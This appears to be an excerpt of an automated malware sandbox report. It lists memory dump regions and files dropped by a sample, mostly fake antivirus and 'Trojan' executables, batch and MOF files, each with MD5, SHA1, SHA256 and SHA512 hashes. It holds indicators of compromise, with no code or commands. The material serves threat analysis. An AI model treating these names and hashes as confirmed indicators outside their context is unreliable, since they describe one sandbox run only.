SHA512 d5eb8a07457a78f9acd0f81d2f58bbf64b52183318b87c353a590cd2a3ac3a6ec9c1452bd52306c7cf99f19b6a897b16ceb8289a7d008c5ce3b07eda9b871204

memory/2880-49-0x0000000000400000-0x0000000000410000-memory.dmp

memory/2660-46-0x0000000002200000-0x0000000002210000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\3BD8.tmp\302746537.bat

MD5 7d8beb22dfcfacbbc2609f88a41c1458
SHA1 52ec2b10489736b963d39a9f84b66bafbf15685f
SHA256 4aa9ed4b38514f117e6e4f326cb0a1be7f7b96199e21305e2bd6dce289d7baa2
SHA512 a26cf9168cf7450435a9fe8942445511f6fda1087db52bd73e335d6f5b544fc892999019d9291d9dcc60c3656de49688f6d63282c97706e2db286f988e44fd94

\??\c:\windows\comctl32.ocx

MD5 821511549e2aaf29889c7b812674d59b
SHA1 3b2fd80f634a3d62277e0508bedca9aae0c5a0d6
SHA256 f59cdf89f0f522ce3662e09fa847bca9b277b006c415dcc0029b416c347db9c4
SHA512 8b2e805b916e5fbfcccb0f4189372aea006789b3847b51018075187135e9b5db9098f704c1932623f356db0ee327e1539a9bf3729947e92844a26db46555e8cd

\??\c:\windows\mscomctl.ocx

MD5 714cf24fc19a20ae0dc701b48ded2cf6
SHA1 d904d2fa7639c38ffb6e69f1ef779ca1001b8c18
SHA256 09f126e65d90026c3f659ff41b1287671b8cc1aa16240fc75dae91079a6b9712
SHA512 d375fd9b509e58c43355263753634368fa711f02a2235f31f7fa420d1ff77504d9a29bb70ae31c87671d50bd75d6b459379a1550907fbe5c37c60da835c60bc1

memory/1580-68-0x0000000000280000-0x000000000028D000-memory.dmp

memory/1556-70-0x0000000000400000-0x000000000040D000-memory.dmp

C:\Windows\antivirus-platinum.exe

MD5 cd1800322ccfc425014a8394b01a4b3d
SHA1 171073975effde1c712dfd86309457fd457aed33
SHA256 8115de4ad0b7e589852f521eb4260c127f8afeaa3b0021bfc98e4928a4929ac0
SHA512 92c22c025fd3a61979fa718bf2e89a86e51bf7e69c421a9534fbf9c2d5b23b7a9224d0e9f3e0501992038837015214d1ef73b532a68b7d19de559c9ab9c6e5f6

memory/2880-73-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

MD5 979b597855746aee2f30ee74f9d7c163
SHA1 56dd0b4bbc5ddcc3fab99ea2e8f781d8b7c7c05f
SHA256 dc6ee4edbbbe1116a200b928f2b62dbc55594a9f79152bbb0076161a58546c11
SHA512 6b7411b23fa0be275070bb08edb0293f7c5c00fffb7746afe0b4368e0a45e4c2743d3ef86417a610021577f70253bb0ca1c5d3398ac93d22d6672d2b16e0ec4e

C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe

MD5 c7e9746b1b039b8bd1106bca3038c38f
SHA1 cb93ac887876bafe39c5f9aa64970d5e747fb191
SHA256 b1369bd254d96f7966047ad4be06103830136629590182d49e5cb8680529ebd4
SHA512 cf5d688f1aec8ec65c1cb91d367da9a96911640c695d5c2d023836ef11e374ff158c152b4b6207e8fcdb5ccf0eed79741e080f1cbc915fe0af3dacd624525724

memory/1748-80-0x00000000002F0000-0x00000000002F8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe

MD5 ebfbd478a8cfc0fb645b8559973690cb
SHA1 88ec8dff51b53beed128582bcaf86ea81f684a0f
SHA256 62c99ea25fea9d3e5917114ada0406a333b1506697bd2bc28e9d676655232a59
SHA512 30c5dbaf97d3b43edca2e0c9f98fe3e45a2b508880021ce624145549b295c46f4468118c2f5051be402d4eeb3d9791a5eb27f1cc242b3a639b8318be49315f82

C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe

MD5 b2eca909a91e1946457a0b36eaf90930
SHA1 3200c4e4d0d4ece2b2aadb6939be59b91954bcfa
SHA256 0b6c0af51cde971b3e5f8aa204f8205418ab8c180b79a5ac1c11a6e0676f0f7c
SHA512 607d20e4a46932c7f4d9609ef9451e2303cd79e7c4778fe03f444e7dc800d6de7537fd2648c7c476b9f098588dc447e8c39d8b21cd528d002dfa513a19c6ebbf

C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe

MD5 3e20f1b0a3bb4c8608844e47d92d2121
SHA1 e2f84e46d4e63cbd091feeca686814752519596e
SHA256 a23284c86e2b640fce315419157db159355efa61f0ed1b70e716584aa77b6793
SHA512 1047304be5dcca4b71fed0c76db3bd4c42fcd2b163b6d93dc27be16fe90579d6a8c40655e76132b398ad430dadf7238267342adc2206025c9a77998c4214dd6b

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/3044-109-0x00000000002B0000-0x00000000002C0000-memory.dmp

memory/1020-110-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/1632-111-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/1748-112-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/3044-114-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/3044-116-0x00000000040B0000-0x00000000040F0000-memory.dmp

memory/1284-115-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2944-113-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2016-118-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/1708-119-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/524-120-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2780-121-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2508-122-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2064-123-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2052-124-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/1992-125-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/1952-126-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2068-127-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/600-128-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2684-129-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/1988-130-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/1748-131-0x00000000047B0000-0x00000000047F0000-memory.dmp

memory/1556-133-0x0000000000400000-0x000000000040D000-memory.dmp

memory/1284-134-0x0000000000730000-0x0000000000770000-memory.dmp

memory/1020-132-0x0000000004820000-0x0000000004860000-memory.dmp

memory/600-137-0x00000000041C0000-0x0000000004200000-memory.dmp

memory/1020-138-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/1632-139-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2068-140-0x0000000000760000-0x00000000007A0000-memory.dmp

memory/1748-142-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/1708-146-0x00000000046F0000-0x0000000004730000-memory.dmp

memory/1284-147-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/3044-149-0x00000000040B0000-0x00000000040F0000-memory.dmp

memory/2016-150-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2780-151-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/1708-152-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/524-153-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2508-154-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2052-148-0x0000000004610000-0x0000000004650000-memory.dmp

memory/1952-157-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/524-162-0x0000000004940000-0x0000000004980000-memory.dmp

memory/2064-161-0x0000000004830000-0x0000000004870000-memory.dmp

memory/2068-163-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2684-165-0x0000000004210000-0x0000000004250000-memory.dmp

memory/2016-164-0x0000000002110000-0x0000000002150000-memory.dmp

memory/2780-160-0x0000000000320000-0x0000000000360000-memory.dmp

memory/2508-159-0x0000000002180000-0x00000000021C0000-memory.dmp

memory/600-158-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2684-166-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/1988-167-0x0000000004910000-0x0000000004950000-memory.dmp

memory/1992-156-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/2052-155-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/1992-145-0x0000000000300000-0x0000000000340000-memory.dmp

memory/1952-144-0x0000000000700000-0x0000000000740000-memory.dmp

memory/2944-143-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/3044-141-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/1988-168-0x0000000073550000-0x0000000073C3E000-memory.dmp

memory/3044-169-0x00000000040B0000-0x00000000040F0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\4otjesjty.mof

MD5 7fad92afda308dca8acfc6ff45c80c24
SHA1 a7fa35e7f90f772fc943c2e940737a48b654c295
SHA256 76e19416eb826a27bdcf626c3877cf7812bbe9b62cc2ccc5c2f65461d644246f
SHA512 49eed1e1197401cb856064bf7fdbd9f3bc57f3c864d47f509346d44eed3b54757d8c6cdb6254990d21291065f0762d2a1588d09e43c5728f77a420f6a8dcd6ea

C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe

MD5 2e7303646c46d7b2ad91791c86f1fab1
SHA1 b54596ea16274188a8b99eb2815aaa6dd74654d3
SHA256 e17fe8c3eb286aaffec1eb5df7fa648667fbc137bdfcc8c5ed50520ddc5b2c18
SHA512 30b73815a4266d0fbf0ffd84cc41b6ca03c8546b75e460fb3a6fde395d2c9b8bc08146f720ce8c287d85151ddabad869da7357b61cacab7fc9fb45023311c550

C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe

MD5 8edb51ed1d3241c4f026bb0d5de20f89
SHA1 9453b850f98062c0b3955a58c295a662be605efb
SHA256 c26fc73c59765b9f8df9cf66f6bb81ce099097804a9f0bd4660f3f80e0639f47
SHA512 0217f034da40cbe924ee8e73b024a3c5d86de1b7b12881d1b2909da2aba39661526b712acf9b390d000940ffbf3746e65a5687b7782635c24e844b36560c59f2

C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe

MD5 05ad3f85b73e5ff86504f8dcc55b5d42
SHA1 927d4554328cc6d767a566c3c6cb54c16d58857a
SHA256 124cf5ca90e7aaede685fe0cda72b6a63b80583d2d5ec04d5baeb4a1851c48af
SHA512 6fda7808e0b96caf3a1ff35734fec63f1e78cca6ae0abaa54fd5dd7bca6299a587b8f2c455b9385d7cf9b9cd9b74edbab1e37d8f98e8777059b3c3e2964feb18

memory/2356-205-0x0000000000400000-0x000000000040E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe

MD5 6a4853cd0584dc90067e15afb43c4962
SHA1 ae59bbb123e98dc8379d08887f83d7e52b1b47fc
SHA256 ccb9502bf8ba5becf8b758ca04a5625c30b79e2d10d2677cc43ae4253e1288ec
SHA512 feb223e0de9bd64e32dc4f3227e175b58196b5e614bca8c2df0bbca2442a564e39d66bcd465154149dc7ebbd3e1ca644ed09d9a9174b52236c76e7388cb9d996

C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe

MD5 a50c74202e2f4d938babf556b9f54725
SHA1 6810db1606cac6ab19edbaa49620ba197ef7bc64
SHA256 937ccad21c0271169104539269b5f3faa43d6ca2e36d676fbf9b6fa6df41b40a
SHA512 28c717b84fc9b94a3cef76ff36de52a7d928d164daab87387efe3e87f934e4e42b62da3c75d7c06ec2f93c7c2903428ad768c0199d48ecea18551becc7ba21a9

C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe

MD5 83726a8767faba50ea1b5f31afef5938
SHA1 70165dcc633f3390d98ae08c731113b007069737
SHA256 e2636cb5e2b2ff10b27e3050e88801620494654017751d41e5a0725a5ce3b6c4
SHA512 e190e655c4df6ed6b79a8bff97c56a8c736753ce86f181f1fb15a4c57914bec0f1b1a3c8736e49a715191f2e6637a67be2a58354187365894c5d846518d7e301

\Users\Admin\AppData\Local\Temp\nso6FB5.tmp\LangDLL.dll

MD5 de3558ce305e32f742ff25b697407fec
SHA1 d55c50c546001421647f2e91780c324dbb8d6ebb
SHA256 98160b4ebb4870f64b13a45f5384b693614ae5ca1b5243edf461ca0b5a6d479a
SHA512 7081654001cba9263e6fb8d5b8570ba29a3de89621f52524aa7941ba9e6dfd963e5ef7b073f193b9df70300af04d7f72f93d0241d8c70ccdbecfd9092e166cac

\Users\Admin\AppData\Local\Temp\nso6FB5.tmp\GetVersion.dll

MD5 dc9562578490df8bc464071f125bfc19
SHA1 56301a36ae4e3f92883f89f86b5d04da1e52770d
SHA256 0351fe33a6eb13417437c1baaee248442fb1ecc2c65940c9996bcda574677c3f
SHA512 9242f8e8ece707874ef61680cbfcba7fc810ec3a03d2cb2e803da59cc9c82badd71be0e76275574bc0c44cdfcef9b6db4e917ca8eb5391c5ae4b37e226b0c321

C:\Users\Admin\AppData\Local\Temp\7233.tmp\VirusCan.bat

MD5 55dcde25c122c782757989a3c275fea2
SHA1 a669581a58e6aa602cbdaf690e3e365fa4de570f
SHA256 3aad2d3f7f3c5ef2676e33cc3be636f1929cf106707e88068ed8eee1ecfcb916
SHA512 b9cd00ffc8e42d2cd1f37a3312655c12423c8fb145910ee2ac8abf0d06b5942b5754fdd60d6b94a125c3bf3a1e7818eded0bfe662dc3992dac10d9df3fcaa5f2

memory/1884-240-0x0000000000400000-0x0000000000410000-memory.dmp

memory/884-248-0x0000000000400000-0x000000000043E000-memory.dmp